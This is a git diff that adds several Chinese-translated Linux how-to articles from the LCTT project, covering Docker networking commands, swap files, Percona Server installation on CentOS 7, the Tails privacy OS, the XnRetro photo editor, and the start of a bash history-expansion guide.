+ + $ dumptorrent -v + +![](https://farm6.staticflickr.com/5331/17438628461_1f6675bd77_b.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/view-torrent-file-content-linux.html + +作者:[Dan Nanni][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni +[1]:http://dumptorrent.sourceforge.net/ +[2]:http://ask.xmodulo.com/change-path-environment-variable-linux.html diff --git a/published/201506/20150515 Basic Networking Commands with Docker Containers.md b/published/201506/20150515 Basic Networking Commands with Docker Containers.md new file mode 100644 index 0000000000..fd81249f10 --- /dev/null +++ b/published/201506/20150515 Basic Networking Commands with Docker Containers.md @@ -0,0 +1,108 @@ +基础的Docker容器网络命令 +================================================================================ +各位好,今天我们将学习一些Docker容器的基础命令。Docker 是一个开源项目,提供了一个可以打包、装载和运行任何应用的轻量级容器的开放平台。它没有语言支持、框架和打包系统的限制,从小型的家用电脑到高端服务器,在何时何地都可以运行。它可以使部署和扩展web应用程序、数据库和后端服务像搭积木一样容易,而不依赖特定技术栈或提供商。Docker适用于网络环境,它正应用于数据中心、ISP和越来越多的网络服务。 + +因此,这里有一些你在管理Docker容器的时候会用到的一些命令。 + +### 1. 找到Docker接口 ### + +Docker默认会创建一个名为docker0的网桥接口作为连接外部世界的基础。运行中的docker容器直接连接到网桥接口docker0。默认上,docker会分配172.17.42.1/16给docker0,它是所有运行中的容器ip地址的子网。找到Docker接口的ip地址非常简单。要找出docker0网桥接口和连接到网桥上的docker容器,我们可以在安装了docker的终端或者shell中运行ip命令。 + + # ip a + +![Docker Interface](http://blog.linoxide.com/wp-content/uploads/2015/05/docker-interface.png) + +### 2. 得到Docker容器的ip地址 ### + +如我们上面读到的,docker在宿主机中创建了一个叫docker0的网桥接口。在我们创建一个新的docker容器时,它自动被默认分配了一个在该子网范围内的ip地址。因此,要检测运行中的Docker容器的ip地址,我们需要进入一个正在运行的容器并用下面的命令检查ip地址。首先,我们运行一个新的容器并进入其中。如果你已经有一个正在运行的容器,你可以跳过这个步骤。 + + # docker run -it ubuntu + +现在,我们可以运行ip a来得到容器的ip地址了。 + + # ip a + +![Docker Container IP](http://blog.linoxide.com/wp-content/uploads/2015/05/docker-container-ip.png) + +### 3. 映射暴露的端口 ### + +要映射配置在Dockerfile的暴露端口到宿主机的高位端口,我们只需用下面带上-P标志的命令。这会打开docker容器的随机端口并映射到Dockerfile中定义的端口。下面是使用-P来打开/暴露定义的端口的例子。 + + # docker run -itd -P httpd + +![Mapping Expose Port](http://blog.linoxide.com/wp-content/uploads/2015/05/mapping-expose-port.png) + +上面的命令会映射容器的端口到 httpd 容器的 Dockerfile 中定义的80端口上。我们用下面的命令来查看正在运行的容器暴露的端口。 + + # docker ps + +并且可以用下面的curl命令来检查。 + + # curl http://localhost:49153 + +![Curl Exposed Port](http://blog.linoxide.com/wp-content/uploads/2015/05/curl-exposed-port-e1431034586219.png) + +### 4. 映射到特定的端口上 ### + +我们也可以映射暴露端口或者docker容器端口到我们指定的端口上。要实现这个,我们用-p标志来定义我们所需的端口。这里是我们的一个例子。 + + # docker run -itd -p 8080:80 httpd + +上面的命令会映射(宿主机的)8080端口到(容器的)80上。我们可以运行curl来检查这点。 + + # curl http://localhost:8080 + +![Mapping Specific Port](http://blog.linoxide.com/wp-content/uploads/2015/05/mapping-specific-port.png) + +### 5. 创建自己的网桥 ### + +要给容器创建一个自定义的IP地址,在本篇中我们会创建一个名为br0的新网桥。要分配需要的ip地址,我们需要在运行docker的宿主机中运行下面的命令。 + + # stop docker.io + # ip link add br0 type bridge + # ip addr add 172.30.1.1/20 dev br0 + # ip link set br0 up + # docker -d -b br0 + +![Creating Bridge Interface](http://blog.linoxide.com/wp-content/uploads/2015/05/creating-bridge-interface.png) + +创建完docker网桥之后,我们要让docker的守护进程知道它。 + + # echo 'DOCKER_OPTS="-b=br0"' >> /etc/default/docker + # service docker.io start + +![Adding Interface to Docker](http://blog.linoxide.com/wp-content/uploads/2015/05/adding-interface-to-docker.png) + +到这里,桥接后的接口将会分配给容器在桥接子网内的新ip地址。 + +### 6. 链接到另外一个容器上 ### + +我们可以用Docker将一个容器连接到另外一个上。我们可以在不同的容器上运行不同的程序,并且相互连接或链接。链接允许容器间相互连接并从一个容器上安全地传输信息给另一个容器。要做到这个,我们可以使用--link标志。首先,我们使用--name标志来标示training/postgres镜像。 + + # docker run -d --name db training/postgres + +![Running db Container](http://blog.linoxide.com/wp-content/uploads/2015/05/running-db-container.png) + +完成之后,我们将容器db与training/webapp链接来形成新的叫web的容器。 + + # docker run -d -P --name web --link db:db training/webapp python app.py + +![linking two containers](http://blog.linoxide.com/wp-content/uploads/2015/05/linking-two-containers.png) + +### 总结 ### + +Docker网络很神奇也好玩,我们可以对docker容器做很多事情。我们可以把玩这些简单而基础的docker网络命令。docker的网络是非常先进的,我们可以用它做很多事情。 + +如果你有任何的问题、建议、反馈请在下面的评论栏写下来以便于我们我们可以提升或者更新文章的内容。谢谢! 玩得开心!:-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/networking-commands-docker-containers/ + +作者:[Arun Pyasi][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ diff --git a/published/201506/20150515 Extend Swap Space using Swap file in Linux.md b/published/201506/20150515 Extend Swap Space using Swap file in Linux.md new file mode 100644 index 0000000000..b92b4a8a36 --- /dev/null +++ b/published/201506/20150515 Extend Swap Space using Swap file in Linux.md @@ -0,0 +1,73 @@ +在linux上使用交换文件扩展交换空间 +================================================================================ +想像一种情景,当我们的Linux系统用尽交换空间时,在这种情况下,我们想要使用swap分区扩展交换空间,但在某些情况下磁盘上已经没有可用的空闲分区了,致使我们不能把它扩大。 + +因此,在这种情况下,我们可以使用交换文件增加swap空间。 + +### 以下是使用交换文件在Linux上扩展swap空间的方法 ### + +让我们首先检查现有的交换空间/分区的大小,使用命令 ‘**free -m‘** 或者 ‘**swapon -s**‘ + +![](http://www.linuxtechi.com/wp-content/uploads/2015/06/free-output-with-swap.jpg) +free-output-with-swap + +我的交换分区大小是2 GB,我们将把交换空间扩展1GB。 + +#### 第一步:使用下面的dd命令创建大小为1GB交换文件 #### + + [root@linuxtechi ~]# dd if=/dev/zero of=/swap_file bs=1G count=1 + 1+0 records in + 1+0 records out + 1073741824 bytes (1.1 GB) copied, 414.898 s, 2.6 MB/s + [root@linuxtechi ~]# + +根据你的需要替换 ‘**bs**‘ 和 ‘**count**‘ 的大小. + +#### 第二步:设置交换文件权限为600 #### + + [root@linuxtechi ~]# chmod 600 /swap_file + +#### 第三步:用文件开启交换区(swap_file)#### + +用mkswap命令开启交换区 + + [root@linuxtechi ~]# mkswap /swap_file + Setting up swapspace version 1, size = 1048572 KiB + no label, UUID=f7b3ae59-c09a-4dc2-ba4d-c02abb7db33b + [root@linuxtechi ~]# + +#### 第四步:在fstab文件中添加交换文件条目 #### + +在fstab文件中添加以下条目,以便交换文件每次重启后互能继续使用. + + /swap_file swap swap defaults 0 0 + +![swap-file-fstab-entry](http://www.linuxtechi.com/wp-content/uploads/2015/06/swap-file-fstab-entry.jpg) + +#### 第五步:用命令 ‘mkswap on’ 启用交换文件. #### + + [root@linuxtechi ~]# swapon /swap_file + [root@linuxtechi ~]# + +#### 第六步:现在查看交换空间 #### + +![swap-space-after-extension](http://www.linuxtechi.com/wp-content/uploads/2015/06/swap-space-after-extension.jpg) + +**Note**: 为了避免出现意外的情况,如下所示使用swapoff命令关闭它,仅在需要使用时,使用步骤5所示的swapon命令,重新启用交换文件。 + + [root@linuxtechi ~]# swapoff /swap_file + [root@linuxtechi ~]# + +请分享您的宝贵意见或者评论此文章。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/extend-swap-space-using-swap-file-in-linux/ + +作者:[Pradeep Kumar][a] +译者:[strugglingyouth](https://github.com/strugglingyouth) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ diff --git a/published/201506/20150515 How to Install Percona Server on CentOS 7.md b/published/201506/20150515 How to Install Percona Server on CentOS 7.md new file mode 100644 index 0000000000..8a99197328 --- /dev/null +++ b/published/201506/20150515 How to Install Percona Server on CentOS 7.md @@ -0,0 +1,181 @@ +如何在 CentOS 7 上安装 Percona服务器 +================================================================================ + +在这篇文章中我们将了解关于 Percona 服务器,一个开源的MySQL,MariaDB的替代品。InnoDB的数据库引擎使得Percona 服务器非常有吸引力,如果你需要的高性能,高可靠性和高性价比的解决方案,它将是一个很好的选择。 + +在下文中将介绍在CentOS 7上Percona 服务器的安装,以及备份当前数据,配置的步骤和如何恢复备份。 + +### 1.什么是Percona,为什么使用它 ### + +Percona是一个MySQL,MariaDB数据库的开源替代品,它是MySQL的一个分支,相当多的改进和独特的功能使得它比MYSQL更可靠,性能更强,速度更快,它与MYSQL完全兼容,你甚至可以在Oracle的MySQL与Percona之间使用复制。 + +#### 在Percona中独具特色的功能 #### + +- 分区适应哈希搜索 +- 快速校验算法 +- 缓冲池预加载 +- 支持FlashCache + +#### MySQL企业版和Percona中的特有功能 #### + +- 从不同的服务器导入表 +- PAM认证 +- 审计日志 +- 线程池 + +现在,你肯定很兴奋地看到这些好的东西整合在一起,我们将告诉你如何安装和对Percona Server做基本配置。 + +### 2. 备份你的数据库 ### + +接下来,在命令行下使用SQL命令创建一个mydatabases.sql文件,来重建或恢复salesdb和employeedb数据库,根据你的设置替换数据库名称,如果没有安装MySQL则跳过此步: + + mysqldump -u root -p --databases employeedb salesdb > mydatabases.sql + +复制当前的配置文件,如果你没有安装MYSQL也可跳过: + + cp my.cnf my.cnf.bkp + +### 3.删除之前的SQL服务器 ### + +停止MYSQL/MariaDB,如果它们还在运行: + + systemctl stop mysql.service + +卸载MariaDB和MYSQL: + + yum remove MariaDB-server MariaDB-client MariaDB-shared mysql mysql-server + +移动重命名放在/var/lib/mysql当中的MariaDB文件。这比仅仅只是移除更为安全快速,这就像2级即时备份。:) + + mv /var/lib/mysql /var/lib/mysql_mariadb + +### 4.使用二进制包安装Percona ### + +你可以在众多Percona安装方法中选择,在CentOS中使用Yum或者RPM包安装通常是更好的主意,所以这些是本文介绍的方式,下载源文件编译后安装在本文中并没有介绍。 + +从Yum仓库中安装: + +首先,你需要设置Percona的Yum库: + + yum install http://www.percona.com/downloads/percona-release/redhat/0.1-3/percona-release-0.1-3.noarch.rpm + +接下来安装Percona: + + yum install Percona-Server-client-56 Percona-Server-server-56 + +上面的命令安装Percona的服务器和客户端、共享库,可能需要Perl和Perl模块,以及其他依赖的需要,如DBI::MySQL。如果这些尚未安装,可能需要安装更多的依赖包。 + +使用RPM包安装: + +我们可以使用wget命令下载所有的rpm包: + + wget -r -l 1 -nd -A rpm -R "*devel*,*debuginfo*" \ + http://www.percona.com/downloads/Percona-Server-5.5/Percona-Server-5.5.42-37.1/binary/redhat/7/x86_64/ + +使用rpm工具,一次性安装所有的rpm包: + + rpm -ivh Percona-Server-server-55-5.5.42-rel37.1.el7.x86_64.rpm \ + Percona-Server-client-55-5.5.42-rel37.1.el7.x86_64.rpm \ + Percona-Server-shared-55-5.5.42-rel37.1.el7.x86_64.rpm + +注意在上面命令语句中最后的反斜杠'\'(只是为了换行方便)。如果您安装单独的软件包,记住要解决依赖关系,在安装客户端之前要先安装共享包,在安装服务器之前请先安装客户端。 + +### 5.配置Percona服务器 ### + +#### 恢复之前的配置 #### + +当我们从MariaDB迁移过来时,你可以将之前的my.cnf的备份文件恢复回来。 + + cp /etc/my.cnf.bkp /etc/my.cnf + +#### 创建一个新的my.cnf文件 #### + +如果你需要一个适合你需求的新的配置文件或者你并没有备份配置文件,你可以使用以下方法,通过简单的几步生成新的配置文件。 + +下面是Percona-server软件包自带的my.cnf文件 + + # Percona Server template configuration + + [mysqld] + # + # Remove leading # and set to the amount of RAM for the most important data + # cache in MySQL. Start at 70% of total RAM for dedicated server, else 10%. + # innodb_buffer_pool_size = 128M + # + # Remove leading # to turn on a very important data integrity option: logging + # changes to the binary log between backups. + # log_bin + # + # Remove leading # to set options mainly useful for reporting servers. + # The server defaults are faster for transactions and fast SELECTs. + # Adjust sizes as needed, experiment to find the optimal values. + # join_buffer_size = 128M + # sort_buffer_size = 2M + # read_rnd_buffer_size = 2M + datadir=/var/lib/mysql + socket=/var/lib/mysql/mysql.sock + + # Disabling symbolic-links is recommended to prevent assorted security risks + symbolic-links=0 + + [mysqld_safe] + log-error=/var/log/mysqld.log + pid-file=/var/run/mysqld/mysqld.pid + +根据你的需要配置好my.cnf后,就可以启动该服务了: + + systemctl restart mysql.service + +如果一切顺利的话,它已经准备好执行SQL命令了,你可以用以下命令检查它是否已经正常启动: + + mysql -u root -p -e 'SHOW VARIABLES LIKE "version_comment"' + +如果你不能够正常启动它,你可以在**/var/log/mysql/mysqld.log**中查找原因,该文件可在my.cnf的[mysql_safe]的log-error中设置。 + + tail /var/log/mysql/mysqld.log + +你也可以在/var/lib/mysql/文件夹下查找格式为[主机名].err的文件,就像下面这个例子: + + tail /var/lib/mysql/centos7.err + +如果还是没找出原因,你可以试试strace: + + yum install strace && systemctl stop mysql.service && strace -f -f mysqld_safe + +上面的命令挺长的,输出的结果也相对简单,但绝大多数时候你都能找到无法启动的原因。 + +### 6.保护你的数据 ### + +好了,你的关系数据库管理系统已经准备好接收SQL查询,但是把你宝贵的数据放在没有最起码安全保护的服务器上并不可取,为了更为安全最好使用mysql_secure_install来安装,这个工具可以帮助你删除未使用的默认功能,并设置root的密码,限制使用此用户进行访问。只需要在shell中执行该命令,并参照屏幕上的说明操作。 + + mysql_secure_install + +### 7.还原备份 ### + +如果您参照之前的设置,现在你可以恢复数据库,只需再用mysqldump一次。 + + mysqldump -u root -p < mydatabases.sql + +恭喜你,你刚刚已经在你的CentOS上成功安装了Percona,你的服务器已经可以正式投入使用;你可以像使用MySQL一样使用它,你的服务器与它完全兼容。 + +### 总结 ### + +为了获得更强的性能你需要对配置文件做大量的修改,但这里也有一些简单的选项来提高机器的性能。当使用InnoDB引擎时,将innodb_file_per_table设置为on,它将在一个文件中为每个表创建索引表,这意味着每个表都有它自己的索引文件,它使系统更强大和更容易维修。 + +可以修改innodb_buffer_pool_size选项,InnoDB应该有足够的缓存池来应对你的数据集,大小应该为当前可用内存的70%到80%。 + +将innodb-flush-method设置为O_DIRECT,关闭写入高速缓存,如果你使用了RAID,这可以提升性能,因为在底层已经完成了缓存操作。 + +如果你的数据并不是十分关键并且并不需要对数据库事务正确执行的四个基本要素完全兼容,可以将innodb_flush_log_at_trx_commit设置为2,这也能提升系统的性能。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/percona-server-centos-7/ + +作者:[Carlos Alberto][a] +译者:[FatJoe123](https://github.com/FatJoe123) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/carlosal/ diff --git "a/published/201506/20150515 Install 'Tails 1.4\342\200\262 Linux Operating System to Preserve Privacy and Anonymity.md" "b/published/201506/20150515 Install 'Tails 1.4\342\200\262 Linux Operating System to Preserve Privacy and Anonymity.md" new file mode 100644 index 0000000000..4266bba59c --- /dev/null +++ "b/published/201506/20150515 Install 'Tails 1.4\342\200\262 Linux Operating System to Preserve Privacy and Anonymity.md" @@ -0,0 +1,192 @@ +用 Tails 1.4 Linux 系统来保护隐私和保持匿名 +================================================================================ +在这个互联网世界和互联网的世界中,我们在线执行我们的大多数任务,无论是订票,汇款,研究,商务,娱乐,社交网络,还是其它。每天我们花费大部分时间在网络上。在过去这些的日子里,在网络中保持匿名变得越来越难,尤其是在被某些机构例如 NSA (National Security Agency) 植入后门的情况下,他们嗅探着我们在网络中的所有动作。在网络中,我们有着极少的,或者说根本就没有隐私。基于用户浏览网络的活动和机器的活动的搜索都被记录了下来。 + +一款来自于 Tor 项目的绝妙浏览器正被上百万人使用,它帮助我们匿名地浏览网络,即使这样,跟踪你的浏览习惯也并不难,所以只使用 Tor 并不能保证你的网络安全。你可以从下面的链接中查看 Tor 的特点及安装指南。 + +- [使用 Tor 来进行匿名网络浏览][1] + +Tor 项目中有一个名为 Tails 的操作系统。Tails (The Amnesic Incognito Live System) 是一个 live 操作系统,基于 Debian Linux 发行版本,主要着眼于在浏览网络时在网络中保护隐私和匿名,这意味着所有的外向连接都强制通过 Tor 来连接,直接的(非匿名的) 连接请求都会被阻挡。该系统被设计为可在任何可启动介质上运行,例如 USB 棒或 DVD。 + +Tails OS 的最新稳定发行版本为 1.4 , 于 2015 年 5 月 12 日发行。Tails 由开源的 Linux 宏内核所驱动,构建在 Debian GNU/Linux 之上,着眼于个人电脑市场, 使用 GNOME 3 作为其默认的用户界面。 + +#### Tails OS 1.4 的特点 #### + +- Tails 是一个 free 的操作系统, free 的意义不仅是免费(free)啤酒的免费,也是言论自由(free) 中的自由 +- 构建在 Debian/GNU Linux 操作系统之上, Debian 是使用最广泛的通用操作系统 +- 着眼于安全的发行版本 +- 伪装成 Windows 8 外观 +- 不必安装就可以使用 Live Tails CD/DVD 来匿名浏览网络 +- 当 Tails 运行时,不会在计算机上留下任何痕迹 +- 使用先进的加密工具来加密任何相关文件,邮件等内容 +- 通过 Tor 网络来发送和接收流量 +- 真正意义地无论何时何处保护隐私 +- 在 Live 环境中带有一些立即可用的应用 +- 系统自带的所有软件都预先配置好只通过 Tor 网络来连接到互联网 +- 任何不通过 Tor 网络而尝试连接网络的应用都将被自动阻拦 +- 限制那些想查看你正在浏览什么网站的人的行动,并限制网站获取你的地理位置 +- 连接到那些被墙或被审查的网站 +- 特别设计不使用主操作系统的空间,即便是 swap 空间也不用 +- 整个操作系统加载在内存中,在每次重启或关机后会自动擦除掉,所以不会留下任何运行的痕迹。 +- 先进的安全实现,通过加密 USB 磁盘, HTTPS 应答加密和对邮件,文档进行签名。 + +#### 在 Tails 1.4 中所期待的东西 #### + +- 带有安全滑块的 Tor 浏览器 4.5 +- Tor 被升级到版本 0.2.6.7 +- 修补了几个安全漏洞 +- 针对诸如 curl、 OpenJDK 7、 tor Network、 openldap 等应用, 许多漏洞被修复并打上了补丁 + +要得到完整的更改记录,你需要访问 [这里][2] + +**注意**: 假如你使用 Tails 的任何旧版本,强烈建议升级到 Tails 1.4 。 + +#### 为什么我应该使用 Tails 操作系统 #### + +你需要 Tails 因为你想: + +- 在网络监控下保持自由 +- 捍卫自由,隐私和秘密 +- 流量分析下保持安全 + +这个教程将带你了解 Tails 1.4 操作系统的安装并给出一个简短的评论。 + +### Tails 1.4 安装指南 ### + +1. 为了下载最新的 Tails OS 1.4,你可以使用 wget 命令来直接下载它 + + $ wget http://dl.amnesia.boum.org/tails/stable/tails-i386-1.4/tails-i386-1.4.iso + +或者你可以直接下载 Tails 1.4 的 ISO 镜像文件,或使用一个 Torrent 客户端来为你获取 ISO 镜像文件: + +- [tails-i386-1.4.iso][3] +- [tails-i386-1.4.torrent][4] + +2. 下载后,可使用 sha256sum 来获取 ISO 文件的哈希值并与官方提供的值相比较,以核实 ISO 文件的完整性 + + $ sha256sum tails-i386-1.4.iso + + 339c8712768c831e59c4b1523002b83ccb98a4fe62f6a221fee3a15e779ca65d + +假如你熟悉 OpenPGP ,将 Tails 的签名密钥与 Debian 的 keyring 相比较以验证其签名,若想了解任何有关 Tails 的加密签名,请用浏览器访问 [这里][5] + +3. 下一步,你需要将镜像写入 USB 棒或 DVD ROM 中。或许你需要看看这篇文章 “[如何创建一个 Live 可启动的 USB棒][6] ”以了解如何使得一个闪存盘变得可启动并向它写入 ISO 镜像文件。 + +4. 插入 Tails OS 的可启动闪存盘或 DVD ROM,并从那里启动 (在 BIOS 中选择该介质来启动)。第一个屏幕中会有两个选项 'Live' 和 'Live (failsafe)' 让你选择。选择 'Live' 并确定。 + +![Tails 启动菜单](http://www.tecmint.com/wp-content/uploads/2015/05/1.png) + +*Tails 启动菜单* + +5. 在登录之前,你有两个选项, 假如你想配置并设定高级选项,点击 '更多选项' 否则点击 'NO'。 + +![Tails 欢迎界面](http://www.tecmint.com/wp-content/uploads/2015/05/2.png) + +*Tails 欢迎界面* + +6. 在点击高级选项后,你需要设置 root 密码。假如你想升级它,这是非常重要的。这个 root 密码的有效期将持续到你关机或重启。 + +另外,若你想开启 Windows 伪装,假如你想在一个公共场所运行这个操作系统,这将使得看起来你正在运行 Windows 8 操作系统。这真是一个好的选项!不是吗?另外,你还有一个选项来配置网络和 Mac 地址,当一切准备完毕后,点击 '登录' ! + +![Tails OS 的配置](http://www.tecmint.com/wp-content/uploads/2015/05/3.png) + +*Tails OS 的配置* + +7. 这是使用 Windows 皮肤伪装的 Tails GNU/Linux OS: + +![Tails 的 Windows 伪装](http://www.tecmint.com/wp-content/uploads/2015/05/4.jpg) + +*Tails 的 Windows 伪装* + +8. 系统将在后台启动 Tor 网络。在屏幕的右上角查看通知 :“Tor 已经准备好了,现在你已经连接上了互联网”。 + +你也可以在 Internet 菜单下查看它包含了哪些东西。 注意 :它包含有 Tor 浏览器(安全的) 和 不安全的网络浏览器(其中的向内和向外数据不通过 Tor 网络) 和其他应用。 + +![Tails 菜单和工具](http://www.tecmint.com/wp-content/uploads/2015/05/5.jpg) + +*Tails 菜单和工具* + +9. 点击 Tor 并检查你的 IP 地址。 它确认我的物理位置没有被分享以及我的隐私未被触动。 + +![在 Tails 上检查隐私](http://www.tecmint.com/wp-content/uploads/2015/05/6.jpg) + +*在 Tails 上检查隐私* + +10. 你还可以激活 Tails 安装器来“克隆和安装”, “克隆和升级”以及“从 ISO 镜像文件中升级系统”。 + +![Tails 安装器选项](http://www.tecmint.com/wp-content/uploads/2015/05/7.jpg) + +*Tails 安装器选项* + +11. 如果选择另外的那个不带有高级选项的方式,那就直接登录。(查看上面的第 5 步). + +![不设置高级选项的 Tails](http://www.tecmint.com/wp-content/uploads/2015/05/8.png) + +*不设置高级选项的 Tails* + +12. 这将登录到 Gnome3 桌面环境。 + +![Tails Gnome 桌面](http://www.tecmint.com/wp-content/uploads/2015/05/9.png) + +*Tails Gnome 桌面* + +13. 假如你点击启动不安全的浏览器,无论是否带有地址伪装,你都将会收到弹窗通知。 + +![Tails 浏览通知](http://www.tecmint.com/wp-content/uploads/2015/05/10.png) + +*Tails 浏览通知* + +假如你仍启动不安全的浏览器,你将在浏览器中看到如下网页: + +![Tails 浏览警告](http://www.tecmint.com/wp-content/uploads/2015/05/11.png) + +*Tails 浏览警告* + +#### Tails 适合我吗?#### + +要想得到上面问题的答案,首先回答如下的问题: + +- 在上网时,你想你的隐私不被触动吗? +- 你想在窃取身份信息的人的眼皮底下保持隐身吗? +- 你想在你的网上私人聊天过程中被他人嗅探吗? +- 你真的想向任何人展示你的地理位置吗? +- 你开展银行网上交易吗? +- 你愿意受政府和 ISP的审查吗? + +假如以上问题中,任意一个问题的答案为 'YES',则你最好需要 Tails。假如上面所有的问题的答案都是 'NO',则或许你不需要它。 + +想对 Tails 了解更多?请将你的浏览器指向它的用户文档页面: + +文档: [https://tails.boum.org/doc/index.en.html][7] + +### 总结 ### + +对于那些工作在不安全环境中的人来说,Tails 是一个必需的操作系统。Tails 还是一个着眼于安全的操作系统,现在为止,包含了一大批应用 – Gnome 桌面、Tor、 Firefox (Iceweasel)、 Network Manager、 Pidgin、 Claws mail、 Liferea feed addregator、 Gobby、 Aircrack-ng、 I2P。 + +同时,它含有一些有关加密和隐私的工具,即 UKS、 GnuPG、 PWGen、 Shamir's Secret Sharing、 Virtual Keyboard (对付硬件的键盘记录器)、 MAT、 KeePassX Password Manager 等。 + +这就是全部了。关注我们。请分享你的有关 Tails GNU/Linux 操作系统的想法。对于这个项目的未来,你怎么看?同时在实际中测试它,并让我们获知你的体验感受。 + +你也可以在 [Virtualbox][8] 中运行它。 Tails 在内存中加载整个操作系统,所以在虚拟机中你需要给定足够的内存来运行 Tails。 + +我在 1GB 内存的环境中测试了 Tails,它工作起来毫无滞后感。谢谢我们的所有用户的支持。使我们成为一个包含所有 Linux 相关信息的地方,你的支持是必需的。 Kudos! + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/install-tails-1-4-linux-operating-system-to-preserve-privacy-and-anonymity/ + +作者:[Avishek Kumar][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://linux.cn/article-3566-1.html +[2]:https://tails.boum.org/news/version_1.4/index.en.html +[3]:http://dl.amnesia.boum.org/tails/stable/tails-i386-1.4/tails-i386-1.4.iso +[4]:https://tails.boum.org/torrents/files/tails-i386-1.4.torrent +[5]:https://tails.boum.org/download/index.en.html#verify +[6]:http://www.tecmint.com/install-linux-from-usb-device/ +[7]:https://tails.boum.org/doc/index.en.html +[8]:http://www.tecmint.com/install-virtualbox-on-redhat-centos-fedora/ \ No newline at end of file diff --git a/published/201506/20150515 This Ubuntu App Applies Instagram Style Filters to Your Photos.md b/published/201506/20150515 This Ubuntu App Applies Instagram Style Filters to Your Photos.md new file mode 100644 index 0000000000..d44db58488 --- /dev/null +++ b/published/201506/20150515 This Ubuntu App Applies Instagram Style Filters to Your Photos.md @@ -0,0 +1,70 @@ +在 Ubuntu 中给你的照片加上 Instagram 风格的滤镜程序 +================================================================================ +拿起你的自拍杆跟我来。 + +### XnRetro 照片编辑器 ### + +**XnRetro** 是一个可以让你快速给你照片添加“类 Instagram”效果的程序。 + +你肯定知道我说的这些效果:划痕、噪点、相框、过度处理、复古和怀旧色调(因为在这个数字过客的时代,我们一定知道无穷无尽的自拍永远也找不回怀旧的自己。) + +无论你认为这些效果是愚蠢的艺术还是创作的捷径,这些滤镜非常流行,可以帮助那些平实无奇的照片添加个性。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/05/instagram-app.jpg) + +*XnRetro是一个照片编辑应用* + +#### XnRetro的功能 #### + +**XnRetro 有下面那些功能** + +- 20 种色彩滤镜 +- 15 种光影效果(虚化、泄露等等) +- 28 种画框和边线 +- 5 种插图 (带力度控制) +- 对比度、伽马校正、饱和度等图像调整 +- 矩形修剪选项 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/05/Screen-Shot-2015-05-10-at-23.30.01-e1431297068833.png) + +*灯光效果调整* + +(理论上)你可以保存编辑过的 .jpg 或者 .png 文件,并且直接在 app 中分享到社交媒体上。 + +我说“理论上”的意思是保存.jpg图像无法正常在 linux 版的程序上工作(你可以保存 .png 的图像)。相似问题还有,大多数内置的社交链接失效或者无法导出。 + +要使用**15 种光影效果**,你需要在 XnRetro 的‘light’文件夹下将 .jpg 文件重新保存成 .png 文件。编辑‘light.xml’来匹配新的文件名,点击保存那么灯光效果就可以没有问题的加载进 XnRetro 了。 + + +**XnRetro 值得安装么?** + +XnRetro 并不是完美的。它看上去很老土、很难正确的安装,**并且已经几年没有更新了**。 + +但它还可以使用,除了保存 .jpg 文件外。同时也是那些像 Gimp 或者 Shotwell 的那些‘正规’的图片调整工具的一个灵活替代品。 + +虽然像 [Pixlr Touch Up][1] 和 [Polarr][2] 这样的 web 应用和 Chrome Apps 也提供相似的功能,但你也许正在寻找真正原生的解决方案。 + +习惯了 XnRetro 就很难离开它。 + +### 下载 Ubuntu 下的 XnRetro ### + +XnRetro 没有可用的 .deb 安装包。它以二进制文件的形式发行,这意味着你需要每次双击程序来运行。它也只有32位的版本。 + +你可以使用下面的 XnRetro下载链接。下载完成后你需要解压压缩包并进入。双击里面的‘xnretro’程序。 + +- [下载 Linux 版 XnRetro (32位, tar.gz)][3] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/05/instagram-photo-filters-ubuntu-desktop-app + +作者:[Joey-Elijah Sneddon][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.omgchrome.com/?s=pixlr +[2]:http://www.omgchrome.com/the-best-chrome-apps-of-2014/ +[3]:http://www.xnview.com/en/xnretro/#downloads diff --git a/published/201506/20150518 10 Amazing and Mysterious Uses of Symbol or Operator in Linux Commands.md b/published/201506/20150518 10 Amazing and Mysterious Uses of Symbol or Operator in Linux Commands.md new file mode 100644 index 0000000000..e647b452c7 --- /dev/null +++ b/published/201506/20150518 10 Amazing and Mysterious Uses of Symbol or Operator in Linux Commands.md @@ -0,0 +1,214 @@ +在Linux命令行下令人惊叹的惊叹号(!) +================================================================================ +`'!'`符号在Linux中不但可以用作否定符号,还可以用来从历史命令记录中取出命令或不加修改的执行之前运行的命令。下面的所有命令都已经在Bash Shell中经过确切地检验。尽管我没有试过,但大多都不能在别的Shell中运行。这里我们介绍下Linux命令行中符号`'!'`那惊人和奇妙的用法。 + +### 1. 使用数字从历史命令列表中找一条命令来执行 ### + +您也许没有意识到您可以从历史命令列表(之前已经执行的命令集)中找出一条来运行。首先,通过"history"命令查找之前命令的序号。 + + $ history + +![使用history命令找到最后执行的命令](http://www.tecmint.com/wp-content/uploads/2015/05/history-Command.gif) + 